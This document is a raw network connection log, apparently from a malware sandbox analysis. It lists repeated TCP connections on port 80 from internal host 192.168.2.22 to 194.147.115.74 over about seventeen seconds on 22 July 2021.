Jul 22, 2021 16:12:17.905998945 CEST	49313	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:17.907247066 CEST	49314	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:17.958391905 CEST	80	49313	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:17.958631992 CEST	49313	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:17.959491014 CEST	80	49314	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:17.959711075 CEST	49314	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:17.960793972 CEST	49314	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:18.013155937 CEST	80	49314	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:18.116715908 CEST	80	49314	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:18.117418051 CEST	49314	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:18.332433939 CEST	49314	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:18.333976984 CEST	49315	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:18.384942055 CEST	80	49314	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:18.385080099 CEST	49314	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:18.386075020 CEST	80	49315	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:18.386262894 CEST	49315	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:18.387399912 CEST	49315	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:18.439652920 CEST	80	49315	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:18.543351889 CEST	80	49315	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:18.543581009 CEST	49315	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:18.923723936 CEST	49315	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:18.925051928 CEST	49316	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:18.976126909 CEST	80	49315	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:18.976259947 CEST	49315	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:18.978605032 CEST	80	49316	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:18.978693008 CEST	49316	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:18.980448008 CEST	49316	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:19.032676935 CEST	80	49316	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:19.136413097 CEST	80	49316	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:19.136595011 CEST	49316	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:19.370079041 CEST	49316	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:19.371665955 CEST	49317	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:19.422494888 CEST	80	49316	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:19.422615051 CEST	49316	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:19.423765898 CEST	80	49317	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:19.423949957 CEST	49317	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:19.737467051 CEST	49317	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:19.789829969 CEST	80	49317	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:19.904759884 CEST	80	49317	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:19.904855013 CEST	49317	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:20.145642042 CEST	49317	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:20.146647930 CEST	49318	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:20.197971106 CEST	80	49317	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:20.198148966 CEST	49317	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:20.198633909 CEST	80	49318	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:20.199659109 CEST	49318	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:20.199851990 CEST	49318	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:20.251904964 CEST	80	49318	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:20.367650032 CEST	80	49318	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:20.368376970 CEST	49318	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:20.597832918 CEST	49318	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:20.599383116 CEST	49319	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:20.651267052 CEST	80	49318	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:20.652822971 CEST	80	49319	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:20.653012991 CEST	49318	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:20.653049946 CEST	49319	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:20.678678036 CEST	49319	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:20.731439114 CEST	80	49319	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:20.848067045 CEST	80	49319	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:20.851294041 CEST	49319	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:21.512120008 CEST	49319	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:21.513200998 CEST	49320	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:21.564673901 CEST	80	49319	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:21.564758062 CEST	49319	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:21.565671921 CEST	80	49320	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:21.565778971 CEST	49320	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:21.566584110 CEST	49320	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:21.618609905 CEST	80	49320	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:21.733494997 CEST	80	49320	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:21.733603001 CEST	49320	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:21.953613997 CEST	49320	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:21.954633951 CEST	49321	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:22.006055117 CEST	80	49320	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:22.006165028 CEST	49320	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:22.006869078 CEST	80	49321	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:22.006985903 CEST	49321	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:22.008101940 CEST	49321	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:22.060506105 CEST	80	49321	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:23.167417049 CEST	80	49321	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:23.167627096 CEST	49321	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:23.390762091 CEST	49321	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:23.392862082 CEST	49322	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:23.443305969 CEST	80	49321	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:23.443406105 CEST	49321	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:23.445132017 CEST	80	49322	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:23.445242882 CEST	49322	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:23.446151018 CEST	49322	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:23.498303890 CEST	80	49322	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:23.613425970 CEST	80	49322	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:23.613584995 CEST	49322	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:23.855999947 CEST	49322	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:23.857486963 CEST	49323	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:23.910671949 CEST	80	49322	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:23.910778046 CEST	49322	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:23.912354946 CEST	80	49323	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:23.912446022 CEST	49323	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:23.913350105 CEST	49323	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:23.966418028 CEST	80	49323	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:24.082932949 CEST	80	49323	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:24.083017111 CEST	49323	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:24.305802107 CEST	49323	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:24.306740999 CEST	49324	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:24.358335018 CEST	80	49323	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:24.358449936 CEST	49323	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:24.358871937 CEST	80	49324	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:24.358956099 CEST	49324	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:24.359683037 CEST	49324	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:24.411854982 CEST	80	49324	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:24.515281916 CEST	80	49324	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:24.515399933 CEST	49324	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:24.728247881 CEST	49324	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:24.729259014 CEST	49325	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:24.781644106 CEST	80	49324	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:24.781850100 CEST	49324	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:24.781888008 CEST	80	49325	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:24.782011986 CEST	49325	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:24.782763958 CEST	49325	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:24.834877014 CEST	80	49325	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:24.938327074 CEST	80	49325	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:24.938565969 CEST	49325	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:25.163862944 CEST	49325	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:25.165421963 CEST	49326	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:25.217864037 CEST	80	49325	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:25.217999935 CEST	49325	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:25.218319893 CEST	80	49326	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:25.218411922 CEST	49326	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:25.219157934 CEST	49326	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:25.271354914 CEST	80	49326	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:25.374665976 CEST	80	49326	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:25.374912024 CEST	49326	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:25.586148977 CEST	49326	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:25.587173939 CEST	49327	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:25.638714075 CEST	80	49326	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:25.638803959 CEST	49326	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:25.639298916 CEST	80	49327	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:25.639527082 CEST	49327	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:25.640275955 CEST	49327	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:25.692384005 CEST	80	49327	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:25.797365904 CEST	80	49327	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:25.797836065 CEST	49327	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.029437065 CEST	49327	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.032165051 CEST	49328	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.081867933 CEST	80	49327	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:26.082077980 CEST	49327	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.084639072 CEST	80	49328	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:26.084770918 CEST	49328	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.086143970 CEST	49328	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.138659954 CEST	80	49328	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:26.256982088 CEST	80	49328	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:26.257184029 CEST	49328	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.483618975 CEST	49328	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.484870911 CEST	49329	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.537308931 CEST	80	49328	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:26.537564993 CEST	49328	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.538074017 CEST	80	49329	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:26.538151026 CEST	49329	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.538968086 CEST	49329	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.591267109 CEST	80	49329	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:26.707770109 CEST	80	49329	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:26.707863092 CEST	49329	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.932091951 CEST	49329	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.934607029 CEST	49330	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.984654903 CEST	80	49329	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:26.984764099 CEST	49329	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.986778021 CEST	80	49330	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:26.986918926 CEST	49330	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:26.988025904 CEST	49330	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:27.041470051 CEST	80	49330	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:27.143672943 CEST	80	49330	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:27.143826008 CEST	49330	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:27.366219044 CEST	49330	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:27.367621899 CEST	49331	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:27.418543100 CEST	80	49330	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:27.418715000 CEST	49330	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:27.419840097 CEST	80	49331	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:27.420155048 CEST	49331	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:27.421057940 CEST	49331	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:27.473261118 CEST	80	49331	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:27.577605009 CEST	80	49331	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:27.577814102 CEST	49331	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:27.814351082 CEST	49331	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:27.815845966 CEST	49332	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:27.866934061 CEST	80	49331	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:27.867058039 CEST	49331	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:27.868247986 CEST	80	49332	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:27.868361950 CEST	49332	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:27.869748116 CEST	49332	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:27.921958923 CEST	80	49332	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:28.038038969 CEST	80	49332	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:28.038271904 CEST	49332	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:28.254861116 CEST	49332	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:28.256146908 CEST	49333	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:28.307423115 CEST	80	49332	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:28.307566881 CEST	49332	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:28.308192968 CEST	80	49333	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:28.308316946 CEST	49333	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:28.308907032 CEST	49333	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:28.361105919 CEST	80	49333	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:28.478202105 CEST	80	49333	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:28.478423119 CEST	49333	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:28.692047119 CEST	49333	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:28.693510056 CEST	49334	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:28.744348049 CEST	80	49333	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:28.744528055 CEST	49333	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:28.745594978 CEST	80	49334	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:28.747190952 CEST	49334	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:28.748070955 CEST	49334	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:28.800137043 CEST	80	49334	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:28.917356014 CEST	80	49334	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:28.917660952 CEST	49334	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:29.153654099 CEST	49334	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:29.154990911 CEST	49335	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:29.206526995 CEST	80	49334	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:29.206614017 CEST	49334	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:29.207027912 CEST	80	49335	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:29.207192898 CEST	49335	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:29.208460093 CEST	49335	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:29.263264894 CEST	80	49335	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:29.373975039 CEST	80	49335	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:29.374136925 CEST	49335	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:29.597120047 CEST	49335	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:29.598306894 CEST	49336	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:29.649262905 CEST	80	49335	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:29.649446011 CEST	49335	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:29.650680065 CEST	80	49336	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:29.650834084 CEST	49336	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:29.651611090 CEST	49336	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:29.703915119 CEST	80	49336	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:29.808022022 CEST	80	49336	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:29.808176041 CEST	49336	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.033473015 CEST	49336	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.034885883 CEST	49337	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.085977077 CEST	80	49336	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:30.086142063 CEST	49336	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.086848021 CEST	80	49337	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:30.086957932 CEST	49337	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.087830067 CEST	49337	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.139910936 CEST	80	49337	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:30.242813110 CEST	80	49337	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:30.243048906 CEST	49337	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.465698004 CEST	49337	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.465833902 CEST	49338	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.518850088 CEST	80	49337	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:30.518873930 CEST	80	49338	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:30.518997908 CEST	49337	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.519033909 CEST	49338	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.519759893 CEST	49338	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.571795940 CEST	80	49338	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:30.688602924 CEST	80	49338	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:30.688842058 CEST	49338	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.892699003 CEST	49338	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.894366026 CEST	49339	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.945828915 CEST	80	49338	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:30.946002960 CEST	49338	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.948982000 CEST	80	49339	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:30.950851917 CEST	49339	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:30.951530933 CEST	49339	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:31.004077911 CEST	80	49339	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:31.118262053 CEST	80	49339	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:31.118509054 CEST	49339	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:31.322947025 CEST	49339	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:31.325006008 CEST	49340	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:31.377440929 CEST	80	49340	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:31.377501011 CEST	80	49339	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:31.378051996 CEST	49340	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:31.378079891 CEST	49339	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:31.378842115 CEST	49340	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:31.431159019 CEST	80	49340	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:31.535861015 CEST	80	49340	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:31.535972118 CEST	49340	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:31.767184973 CEST	49340	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:31.771531105 CEST	49341	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:31.819565058 CEST	80	49340	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:31.819727898 CEST	49340	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:31.824383020 CEST	80	49341	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:31.824523926 CEST	49341	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:31.825335979 CEST	49341	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:31.879645109 CEST	80	49341	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:31.982024908 CEST	80	49341	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:31.982220888 CEST	49341	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:32.194864988 CEST	49341	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:32.196141005 CEST	49342	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:32.247447014 CEST	80	49341	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:32.247690916 CEST	49341	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:32.248208046 CEST	80	49342	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:32.248359919 CEST	49342	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:32.249089956 CEST	49342	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:32.301132917 CEST	80	49342	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:32.406642914 CEST	80	49342	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:32.406873941 CEST	49342	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:32.633744001 CEST	49342	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:32.635924101 CEST	49343	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:32.686831951 CEST	80	49342	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:32.687099934 CEST	49342	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:32.688942909 CEST	80	49343	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:32.689045906 CEST	49343	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:32.689807892 CEST	49343	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:32.741957903 CEST	80	49343	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:32.846988916 CEST	80	49343	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:32.847197056 CEST	49343	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:33.073525906 CEST	49343	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:33.074934006 CEST	49344	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:33.125782013 CEST	80	49343	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:33.125871897 CEST	49343	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:33.127104998 CEST	80	49344	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:33.127233982 CEST	49344	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:33.128132105 CEST	49344	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:33.181945086 CEST	80	49344	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:33.296606064 CEST	80	49344	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:33.296690941 CEST	49344	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:33.522249937 CEST	49344	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:33.523310900 CEST	49345	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:33.576227903 CEST	80	49344	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:33.576299906 CEST	49344	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:33.576570988 CEST	80	49345	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:33.576677084 CEST	49345	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:33.578170061 CEST	49345	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:33.634049892 CEST	80	49345	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:33.747662067 CEST	80	49345	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:33.747787952 CEST	49345	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:33.974802017 CEST	49345	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:33.977535009 CEST	49346	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:34.028737068 CEST	80	49345	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:34.028819084 CEST	49345	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:34.031985998 CEST	80	49346	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:34.032373905 CEST	49346	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:34.034382105 CEST	49346	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:34.089102030 CEST	80	49346	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:34.205979109 CEST	80	49346	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:34.209211111 CEST	49346	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:34.443914890 CEST	49346	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:34.445437908 CEST	49347	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:34.496598005 CEST	80	49346	194.147.115.74	192.168.2.22
